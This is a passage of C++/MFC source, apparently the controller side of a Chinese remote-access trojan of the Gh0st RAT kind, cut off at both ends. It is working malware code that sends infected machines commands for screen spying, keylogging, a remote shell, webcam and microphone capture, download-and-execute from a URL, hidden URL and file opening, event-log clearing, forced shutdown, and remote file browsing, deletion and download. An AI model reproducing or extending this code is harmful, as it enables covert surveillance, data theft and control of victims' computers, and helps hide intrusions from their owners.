		GetRemoteFileList(m_tree_file.GetItemText(item.hItem)); 
		m_bLocalOrRemote=FALSE;		 
    } 
	if (m_hSelectNode==m_hMyComputer) 
	{ 
		g_pFrame->m_edit_connect="我的电脑"; 
		char ComputerName[100]={0}; 
		DWORD dwSize=100; 
        GetComputerName(ComputerName,&dwSize); 
		g_pFrame->m_edit_computer=ComputerName;	 
		m_Local_Path=""; 
		m_Remote_Path=""; 
		FixedLocalDriveList(); 
		m_bLocalOrRemote=TRUE; 
		g_pFrame->m_pContext=NULL; 
	} 
 
__end: 
	g_pFrame->UpdateData(FALSE); 
	*pResult = 0; 
} 
 
void CFileManagerDlg::OnRclickListFile(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
	int	nRemoteOpenMenuIndex = 5; 
	CListCtrl	*pListCtrl = &m_list_file; 
	CMenu	popup; 
	popup.LoadMenu(IDR_FILEMANAGER); 
	CMenu*	pM = popup.GetSubMenu(0); 
	CPoint	p; 
	GetCursorPos(&p);	 
 
	if (pListCtrl->GetSelectedCount() == 0) //没有选中的情况 
	{ 
		int	count = pM->GetMenuItemCount(); 
		for (int i = 0; i < count; i++) 
		{ 
			pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); 
		}		 
	} 
	if (pListCtrl->GetSelectedCount() <= 1) 
	{ 
		pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); 
	} 
	if (pListCtrl->GetSelectedCount() == 1)//选中一个的情况 
	{ 
		// 是文件夹 
		if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) 
		{ 
			pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); 
			pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED); 
		} 
		else//是文件 
		{ 
			if (m_bLocalOrRemote) // 本地打开 
			{ 
				pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_ENABLED); 
				pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED); 
			} 
			else//远程打开 
			{	  
				pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); 
				pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED); 
			}			 
		} 
		if (m_bLocalOrRemote) 
		{	 		   
		  pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_GRAYED); 
		  pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_GRAYED); 
		} 
		else 
		{		   
		  pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_ENABLED); 
		  pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_GRAYED); 
		} 
	} 
	else if (pListCtrl->GetSelectedCount()>1) //选中多个的情况 
	{ 
		if (m_bLocalOrRemote) 
		{	 		   
			pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_GRAYED); 
			pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_GRAYED); 
		} 
		else 
		{		   
			pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_ENABLED); 
			pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_GRAYED); 
		} 
	}	 
	else{//没有选中的情况 
		pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); 
		pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED); 
		if (m_bLocalOrRemote) 
		{ 
			pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_GRAYED); 
			pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_GRAYED); 
		} 
		else 
		{ 
			pM->EnableMenuItem(IDM_DOWNLOAD, MF_BYCOMMAND | MF_GRAYED); 
			pM->EnableMenuItem(IDM_UPLOAD, MF_BYCOMMAND | MF_ENABLED); 
		} 
	}	 
	 
	pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); 
	pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); 
 
	*pResult = 0; 
} 
 
HTREEITEM CFileManagerDlg::GetSelectNode() 
{ 
  if (m_hSelectNode==NULL || m_tree_file.GetRootItem()==m_hSelectNode) 
   return NULL; 
 return m_hSelectNode; 
} 
 
void CFileManagerDlg::OnRclickTreeFile(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
 
	HTREEITEM item; 
	UINT flag=TVHT_ONITEM|TVHT_ONITEMBUTTON ; 
	 
//	CPoint point(::GetMessagePos()); 
//	m_tree_file.ScreenToClient(&point); 
 
	CPoint point; 
	::GetCursorPos(&point); 
	::ScreenToClient(m_hWnd,&point); 
	 
	if(!(item=m_tree_file.HitTest(point,&flag))) 
		return; 
	 
	m_hSelectNode=item;//保存选中结点的句柄 
	CString temp=m_tree_file.GetItemText(m_tree_file.GetParentItem(item)); 
    if (temp.Find('(',0)!=-1) 
    {      
		CMenu	popup; 
		popup.LoadMenu(IDR_LIST); 
		CMenu*	pM = popup.GetSubMenu(0); 
		CBitmap bitmap;	 
		bitmap.LoadBitmap(IDB_SCREEN); 
		pM->SetMenuItemBitmaps(0,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_KEYBOARD); 
		pM->SetMenuItemBitmaps(1,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_CMD); 
		pM->SetMenuItemBitmaps(2,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_VIDEO); 
		pM->SetMenuItemBitmaps(3,MF_BYPOSITION,&bitmap,&bitmap);		 
		bitmap.LoadBitmap(IDB_AUDIO); 
		pM->SetMenuItemBitmaps(4,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_SYSTEM); 
		pM->SetMenuItemBitmaps(5,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_FILE); 
		pM->SetMenuItemBitmaps(6,MF_BYPOSITION,&bitmap,&bitmap);		 
		bitmap.LoadBitmap(IDB_SCREEN); 
		pM->SetMenuItemBitmaps(7,MF_BYPOSITION,&bitmap,&bitmap); 
		bitmap.LoadBitmap(IDB_SYSTEM); 
		pM->SetMenuItemBitmaps(8,MF_BYPOSITION,&bitmap,&bitmap); 
		 
		GetCursorPos(&point);	 
	    pM->TrackPopupMenu(TPM_LEFTALIGN, point.x, point.y, this); 
    } 
 
	*pResult = 0; 
} 
 
void CFileManagerDlg::OnScreenspy()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SCREEN_SPY; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnKeyboard()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_KEYBOARD; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnRemoteshell()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SHELL; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnWebcam()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_WEBCAM; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnAudioListen()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_AUDIO; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnSystem()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SYSTEM; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnLogoff()  
{ 
	// TODO: Add your command handler code here 
	BYTE bToken[2]; 
	bToken[0] = COMMAND_SESSION; 
	bToken[1] = EWX_LOGOFF | EWX_FORCE; 
	g_pFrame->SendSelectCommand((LPBYTE)&bToken, sizeof(bToken)); 
} 
 
void CFileManagerDlg::OnReboot()  
{ 
	// TODO: Add your command handler code here 
	BYTE bToken[2]; 
	bToken[0] = COMMAND_SESSION; 
	bToken[1] = EWX_REBOOT | EWX_FORCE; 
	g_pFrame->SendSelectCommand((LPBYTE)&bToken, sizeof(bToken)); 
} 
 
void CFileManagerDlg::OnShutdown()  
{ 
	// TODO: Add your command handler code here 
	BYTE bToken[2]; 
	bToken[0] = COMMAND_SESSION; 
	bToken[1] = EWX_SHUTDOWN | EWX_FORCE; 
	g_pFrame->SendSelectCommand((LPBYTE)&bToken, sizeof(bToken)); 
} 
 
void CFileManagerDlg::OnRemove()  
{ 
	// TODO: Add your command handler code here 
	if (MessageBox("确认卸载服务端吗 -:)", "警告", MB_YESNO | MB_ICONWARNING) == IDNO) 
		return; 
	BYTE	bToken = COMMAND_REMOVE; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnDownexec()  
{ 
	// TODO: Add your command handler code here 
	CInputDialog	dlg; 
	dlg.Init(_T("下载者"), _T("请输入要下载文件的地址:"), this); 
	if (dlg.DoModal() != IDOK)    
		return; 
	dlg.m_str.MakeLower(); 
	if (dlg.m_str.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = dlg.m_str.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	lpPacket[0] = COMMAND_DOWN_EXEC; 
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->SendSelectCommand(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CFileManagerDlg::OnUpdateServer()  
{ 
	// TODO: Add your command handler code here 
	CInputDialog	dlg; 
	dlg.Init(_T("下载更新服务端"), _T("请输入要下载新服务端的地址:"), this); 
	if (dlg.DoModal() != IDOK)    
		return; 
	dlg.m_str.MakeLower(); 
	if (dlg.m_str.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = dlg.m_str.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	lpPacket[0] = COMMAND_UPDATE_SERVER; 
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->SendSelectCommand(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CFileManagerDlg::OnOpenUrlHide()  
{ 
	// TODO: Add your command handler code here 
	CInputDialog	dlg; 
	dlg.Init(_T("远程访问网址"), _T("请输入要隐藏访问的网址:"), this); 
	if (dlg.DoModal() != IDOK)    
		return; 
	dlg.m_str.MakeLower(); 
	if (dlg.m_str.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = dlg.m_str.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	lpPacket[0] = COMMAND_OPEN_URL_HIDE; 
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->SendSelectCommand(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CFileManagerDlg::OnOpenUrlShow()  
{ 
	// TODO: Add your command handler code here 
	CInputDialog	dlg; 
	dlg.Init(_T("远程访问网址"), _T("请输入要显示访问的网址:"), this); 
	if (dlg.DoModal() != IDOK)    
		return; 
	dlg.m_str.MakeLower(); 
	if (dlg.m_str.Find("http://") == -1) 
	{ 
		MessageBox("输入的网址不合法", "错误"); 
		return; 
	} 
	 
	int		nPacketLength = dlg.m_str.GetLength() + 2; 
	LPBYTE	lpPacket = new BYTE[nPacketLength]; 
	lpPacket[0] = COMMAND_OPEN_URL_SHOW; 
	memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); 
	 
	g_pFrame->SendSelectCommand(lpPacket, nPacketLength); 
	 
	delete[] lpPacket; 
} 
 
void CFileManagerDlg::OnCleanevent()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_CLEAN_EVENT; 
	g_pFrame->SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CFileManagerDlg::OnDisconnect()  
{ 
	// TODO: Add your command handler code here 
	//断开连接要删除选中主机在文件树控件的结点及命令广播下的结点 
} 
 
void CFileManagerDlg::OnReceiveComplete() 
{ 
	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) 
	{ 
	case TOKEN_FILE_LIST: // 文件列表 
		FixedRemoteFileList 
			( 
			m_pContext->m_DeCompressionBuffer.GetBuffer(0), 
			m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 
			); 
		break; 
	case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小及文件名 
		CreateLocalRecvFile(); 
		break; 
	case TOKEN_FILE_DATA: // 文件内容 
		WriteLocalRecvFile(); 
		break; 
	case TOKEN_TRANSFER_FINISH: // 传输完成 
		EndLocalRecvFile(); 
		break; 
	case TOKEN_CREATEFOLDER_FINISH: 
		GetRemoteFileList("."); 
		break; 
	case TOKEN_DELETE_FINISH: 
		EndRemoteDeleteFile(); 
		break; 
	case TOKEN_GET_TRANSFER_MODE: 
		SendTransferMode(); 
		break; 
	case TOKEN_DATA_CONTINUE: 
		SendFileData(); 
		break; 
	case TOKEN_RENAME_FINISH: 
		// 刷新远程文件列表 
		GetRemoteFileList("."); 
		break; 
	default: 
		SendException(); 
		break; 
	} 
} 
 
void CFileManagerDlg::GetRemoteFileList(CString directory) 
{ 
	if (directory.GetLength() == 0) 
	{ 
		int	nItem = m_list_file.GetSelectionMark(); 
 
		// 如果有选中的,是目录 
		if (nItem != -1) 
		{ 
			if (m_list_file.GetItemData(nItem) == 1) 
			{ 
				directory = m_list_file.GetItemText(nItem, 0); 
			} 
		} 
		// 从组合框里得到路径 
		else 
		{ 
		  return; 
		} 
	} 
	// 得到父目录 
	if (directory == "..") 
	{ 
		m_Remote_Path = GetParentDirectory(m_Remote_Path); 
	} 
	else if (directory != ".") 
	{	 
		m_Remote_Path += directory; 
		if(m_Remote_Path.Right(1) != "\\") 
			m_Remote_Path += "\\"; 
	} 
	 
	// 是驱动器的根目录,返回磁盘列表 
	if (m_Remote_Path.GetLength() == 0) 
	{ 
		FixedRemoteDriveList(); 
		return; 
	} 
 
	// 发送数据前清空缓冲区 
	int	PacketSize = m_Remote_Path.GetLength() + 2; 
	BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize); 
 
	bPacket[0] = COMMAND_LIST_FILES; 
	memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); 
	m_iocpServer->Send(m_pContext, bPacket, PacketSize); 
	LocalFree(bPacket); 
 
	// 得到返回数据前禁窗口 
	m_list_file.EnableWindow(FALSE); 
 
} 
 
void CFileManagerDlg::OnEndlabeleditListFile(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR; 
	// TODO: Add your control notification handler code here 
	CString str, strExistingFileName, strNewFileName; 
	m_list_file.GetEditControl()->GetWindowText(str); 
	int nRet=1; 
	if (m_bLocalOrRemote) 
	{ 
		strExistingFileName = m_Local_Path + m_list_file.GetItemText(pDispInfo->item.iItem, 0); 
		strNewFileName = m_Local_Path + str; 
	    nRet = ::MoveFile(strExistingFileName.GetBuffer(0), strNewFileName.GetBuffer(0)); 
	}else 
	{		 
	strExistingFileName = m_Remote_Path + m_list_file.GetItemText(pDispInfo->item.iItem, 0); 
	strNewFileName = m_Remote_Path + str; 
	 
       if (strExistingFileName != strNewFileName) 
	  { 
		UINT nPacketSize = strExistingFileName.GetLength() + strNewFileName.GetLength() + 3; 
		LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize); 
		lpBuffer[0] = COMMAND_RENAME_FILE; 
		memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1); 
		memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),  
			strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1); 
		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); 
		LocalFree(lpBuffer); 
	   } 
	} 
	*pResult = nRet; 
} 
 
void CFileManagerDlg::SendException() 
{ 
	BYTE	bBuff = COMMAND_EXCEPTION; 
	m_iocpServer->Send(m_pContext, &bBuff, 1); 
} 
 
void CFileManagerDlg::SendContinue() 
{ 
	BYTE	bBuff = COMMAND_CONTINUE; 
	m_iocpServer->Send(m_pContext, &bBuff, 1); 
} 
 
void CFileManagerDlg::SendStop() 
{ 
	BYTE	bBuff = COMMAND_STOP; 
	m_iocpServer->Send(m_pContext, &bBuff, 1); 
} 
 
void CFileManagerDlg::OnRename()  
{ 
	// TODO: Add your command handler code here 
	m_list_file.EditLabel(m_list_file.GetSelectionMark()); 
	 
} 
 
void CFileManagerDlg::OnDelete()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
	{ 
		OnLocalDelete(); 
	} 
	else 
	{ 
		OnRemoteDelete(); 
	}		 
} 
 
void CFileManagerDlg::OnNewfolder()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
	{ 
		OnLocalNewfolder(); 
	} 
	else 
	{ 
		OnRemoteNewfolder(); 
	}	 
} 
 
void CFileManagerDlg::OnRefresh()  
{ 
	// TODO: Add your command handler code here 
	if (m_bLocalOrRemote) 
	 FixedLocalFileList("."); 
	else 
	 GetRemoteFileList("."); 
} 
 
void CFileManagerDlg::OnLocalOpen()  
{ 
	// TODO: Add your command handler code here 
	CString	str; 
	str = m_Local_Path + m_list_file.GetItemText(m_list_file.GetSelectionMark(), 0); 
	ShellExecute(NULL, "open", str, NULL, NULL, SW_SHOW); 
} 
 
void CFileManagerDlg::OnRemoteOpenShow()  
{ 
	// TODO: Add your command handler code here 
	CString	str; 
	str = m_Remote_Path + m_list_file.GetItemText(m_list_file.GetSelectionMark(), 0); 
	 
	int		nPacketLength = str.GetLength() + 2; 
	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); 
	lpPacket[0] = COMMAND_OPEN_FILE_SHOW; 
	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); 
	m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); 
	delete [] lpPacket;	 
} 
 
void CFileManagerDlg::OnRemoteOpenHide()  
{ 
	// TODO: Add your command handler code here 
	CString	str; 
	str = m_Remote_Path + m_list_file.GetItemText(m_list_file.GetSelectionMark(), 0); 
	 
	int		nPacketLength = str.GetLength() + 2; 
	LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); 
	lpPacket[0] = COMMAND_OPEN_FILE_HIDE; 
	memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); 
	m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); 
	delete [] lpPacket; 
} 
 
void CFileManagerDlg::PostNcDestroy()  
{ 
	// TODO: Add your specialized code here and/or call the base class 
	delete this; 
	CDialog::PostNcDestroy(); 
} 
 
void CFileManagerDlg::OnLocalNewfolder() 
{ 
	if (m_Local_Path == "") 
		return; 
	// TODO: Add your command handler code here 
	 
	CInputDialog	dlg; 
	dlg.Init(_T("新建目录"), _T("请输入目录名称:"), this); 
	 
	if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) 
	{ 
		// 创建多层目录 
		MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\"); 
		FixedLocalFileList("."); 
	} 
} 
 
bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) 
{ 
    LPTSTR p, pszDirCopy; 
    DWORD dwAttributes; 
 
    // Make a copy of the string for editing. 
 
    __try 
    { 
        pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); 
 
        if(pszDirCopy == NULL) 
            return FALSE; 
 
        lstrcpy(pszDirCopy, pszDirPath); 
 
        p = pszDirCopy; 
 
        //  If the second character in the path is "\", then this is a UNC 
        //  path, and we should skip forward until we reach the 2nd \ in the path. 
 
        if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) 
        { 
            p++;            // Skip over the first \ in the name. 
            p++;            // Skip over the second \ in the name. 
 
            //  Skip until we hit the first "\" (\\Server\). 
 
            while(*p && *p != TEXT('\\')) 
            { 
                p = CharNext(p); 
            } 
 
            // Advance over it. 
 
            if(*p) 
            { 
                p++; 
            } 
 
            //  Skip until we hit the second "\" (\\Server\Share\). 
 
            while(*p && *p != TEXT('\\')) 
            { 
                p = CharNext(p); 
            } 
 
            // Advance over it also. 
 
            if(*p) 
            { 
                p++; 
            } 
 
        } 
        else if(*(p+1) == TEXT(':')) // Not a UNC.  See if it's <drive>: 
        { 
            p++; 
            p++; 
 
            // If it exists, skip over the root specifier 
 
            if(*p && (*p == TEXT('\\'))) 
            { 
                p++; 
            } 
        } 
 
		while(*p) 
        { 
            if(*p == TEXT('\\')) 
            { 
                *p = TEXT('\0'); 
                dwAttributes = GetFileAttributes(pszDirCopy); 
 
                // Nothing exists with this name.  Try to make the directory name and error if unable to. 
                if(dwAttributes == 0xffffffff) 
                { 
                    if(!CreateDirectory(pszDirCopy, NULL)) 
                    { 
                        if(GetLastError() != ERROR_ALREADY_EXISTS) 
                        { 
                            free(pszDirCopy); 
                            return FALSE; 
                        } 
                    } 
                } 
                else 
                { 
                    if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) 
                    { 
                        // Something exists with this name, but it's not a directory... Error 
                        free(pszDirCopy); 
                        return FALSE; 
                    } 
                } 
  
                *p = TEXT('\\'); 
            } 
 
            p = CharNext(p); 
        } 
    } 
    __except(EXCEPTION_EXECUTE_HANDLER) 
    { 
        // SetLastError(GetExceptionCode()); 
        free(pszDirCopy); 
        return FALSE; 
    } 
 
    free(pszDirCopy); 
    return TRUE; 
} 
 
void CFileManagerDlg::OnRemoteNewfolder() 
{ 
	if (m_Remote_Path == "") 
		return; 
 
	// TODO: Add your command handler code here 
	CInputDialog	dlg; 
	dlg.Init(_T("新建目录"), _T("请输入目录名称:"), this); 
	 
	if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) 
	{ 
		CString file = m_Remote_Path + dlg.m_str + "\\"; 
		UINT	nPacketSize = file.GetLength() + 2; 
		// 创建多层目录 
		LPBYTE	lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); 
		lpBuffer[0] = COMMAND_CREATE_FOLDER; 
		memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); 
		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); 
	} 
} 
 
void CFileManagerDlg::OnLocalDelete() 
{ 
	m_bIsUpload = true; 
	CString str; 
	if (m_list_file.GetSelectedCount() > 1) 
		str.Format("确定要将这 %d 项删除吗?", m_list_file.GetSelectedCount()); 
	else 
	{ 
		CString file = m_list_file.GetItemText(m_list_file.GetSelectionMark(), 0); 
		if (m_list_file.GetItemData(m_list_file.GetSelectionMark()) == 1) 
			str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file); 
		else 
			str.Format("确实要把“%s”删除吗?", file); 
	} 
	if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO) 
		return; 
	 
	m_list_file.EnableWindow(FALSE); 
	 
	POSITION pos = m_list_file.GetFirstSelectedItemPosition(); //iterator for the CListCtrl 
	while(pos) //so long as we have a valid POSITION, we keep iterating 
	{ 
		int nItem = m_list_file.GetNextSelectedItem(pos); 
		CString	file = m_Local_Path + m_list_file.GetItemText(nItem, 0); 
		// 如果是目录 
		if (m_list_file.GetItemData(nItem)) 
		{ 
			file += '\\'; 
			DeleteDirectory(file); 
		} 
		else 
		{ 
			DeleteFile(file); 
		} 
	} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory 
	 
	m_list_file.EnableWindow(TRUE); 
	 
	FixedLocalFileList("."); 
} 
 
bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) 
{ 
	WIN32_FIND_DATA	wfd; 
	char	lpszFilter[MAX_PATH]; 
	 
	wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); 
	 
	HANDLE hFind = FindFirstFile(lpszFilter, &wfd); 
	if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 
		return FALSE; 
	 
	do 
	{ 
		if (wfd.cFileName[0] != '.') 
		{ 
			if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
			{ 
				char strDirectory[MAX_PATH]; 
				wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); 
				DeleteDirectory(strDirectory); //递归调用 
			} 
			else 
			{ 
				char strFile[MAX_PATH]; 
				wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); 
				DeleteFile(strFile); 
			} 
		} 
	} while (FindNextFile(hFind, &wfd)); 
	 
	FindClose(hFind); // 关闭查找句柄 
	 
	if(!RemoveDirectory(lpszDirectory)) 
	{ 
		return FALSE; 
	} 
	return true; 
} 
 
void CFileManagerDlg::OnRemoteDelete() 
{ 
	m_bIsUpload = false; 
	// TODO: Add your command handler code here 
	CString str; 
	if (m_list_file.GetSelectedCount() > 1) 
		str.Format("确定要将这 %d 项删除吗?", m_list_file.GetSelectedCount()); 
	else 
	{ 
		CString file = m_list_file.GetItemText(m_list_file.GetSelectionMark(), 0); 
		if (m_list_file.GetItemData(m_list_file.GetSelectionMark()) == 1) 
			str.Format("确实要删除文件夹“%s”并将所有内容删除吗?", file); 
		else 
			str.Format("确实要把“%s”删除吗?", file); 
	} 
	if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO) 
		return; 
	m_Remote_Delete_Job.RemoveAll(); 
	POSITION pos = m_list_file.GetFirstSelectedItemPosition(); //iterator for the CListCtrl 
	while(pos) //so long as we have a valid POSITION, we keep iterating 
	{ 
		int nItem = m_list_file.GetNextSelectedItem(pos); 
		CString	file = m_Remote_Path + m_list_file.GetItemText(nItem, 0); 
		// 如果是目录 
		if (m_list_file.GetItemData(nItem)) 
			file += '\\'; 
		 
		m_Remote_Delete_Job.AddTail(file); 
	} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory 
	 
	m_list_file.EnableWindow(FALSE); 
	// 发送删除任务 
	SendDeleteJob(); 
} 
 
// 发出一个删除任务 
BOOL CFileManagerDlg::SendDeleteJob() 
{ 
	if (m_Remote_Delete_Job.IsEmpty()) 
		return FALSE; 
	// 发出第一个删除任务命令 
	CString file = m_Remote_Delete_Job.GetHead(); 
	int		nPacketSize = file.GetLength() + 2; 
	BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); 
	 
	if (file.GetAt(file.GetLength() - 1) == '\\') 
	{ 
		ShowMessage("远程:删除目录 %s*.* 完成", file); 
		bPacket[0] = COMMAND_DELETE_DIRECTORY; 
	} 
	else 
	{ 
		ShowMessage("远程:删除文件 %s 完成", file); 
		bPacket[0] = COMMAND_DELETE_FILE; 
	} 
	memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); 
	m_iocpServer->Send(m_pContext, bPacket, nPacketSize); 
	 
	LocalFree(bPacket); 
	// 从删除任务列表中删除自己 
	m_Remote_Delete_Job.RemoveHead(); 
	return TRUE; 
} 
 
void CFileManagerDlg::EndRemoteDeleteFile() 
{ 
	if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) 
	{ 
		m_bIsStop = false; 
		m_list_file.EnableWindow(TRUE); 
		GetRemoteFileList("."); 
		ShowMessage("远程:装载目录 %s*.* 完成", m_Remote_Path); 
	} 
	else 
	{ 
		// 不sleep下会出错,可能以前的数据还没send出去 
		Sleep(5); 
		SendDeleteJob(); 
	} 
} 
 
void CFileManagerDlg::OnDownload()  
{ 
	// TODO: Add your command handler code here 
	if (m_Remote_Path=="") 
	  return; 
 
	BROWSEINFO bInfo; 
	ZeroMemory(&bInfo, sizeof(bInfo)); 
	bInfo.hwndOwner = m_hWnd; 
	bInfo.lpszTitle = _T("请选择下载文件的保存路径: "); 
	bInfo.ulFlags = /*BIF_STATUSTEXT |*/BIF_RETURNONLYFSDIRS |BIF_USENEWUI ;    
	 
	LPITEMIDLIST lpDlist; //用来保存返回信息的IDList 
	lpDlist = SHBrowseForFolder(&bInfo) ; //显示选择对话框 
	if (lpDlist==NULL) 
	 return; 
	TCHAR chPath[255]; //用来存储路径的字符串 
	SHGetPathFromIDList(lpDlist, chPath);//把项目标识列表转化成字符串 
	if (chPath[lstrlen(chPath) - 1] != '\\') 
		strcat(chPath, "\\"); 
	m_strDestDirectory = chPath; //将TCHAR类型的字符串转换为CString类型的字符串 
	 
	// 重置下载任务列表 
	m_Remote_Download_Job.RemoveAll(); 
 
	POSITION pos = m_list_file.GetFirstSelectedItemPosition(); //iterator for the CListCtrl 
	while(pos) //so long as we have a valid POSITION, we keep iterating 
	{ 
		int nItem = m_list_file.GetNextSelectedItem(pos); 
		CString	file = m_Remote_Path + m_list_file.GetItemText(nItem, 0); 
		// 如果是目录 
		if (m_list_file.GetItemData(nItem)) //1表示目录 
			file += '\\'; 
		// 添加到下载任务列表中去 
		m_Remote_Download_Job.AddTail(file); 
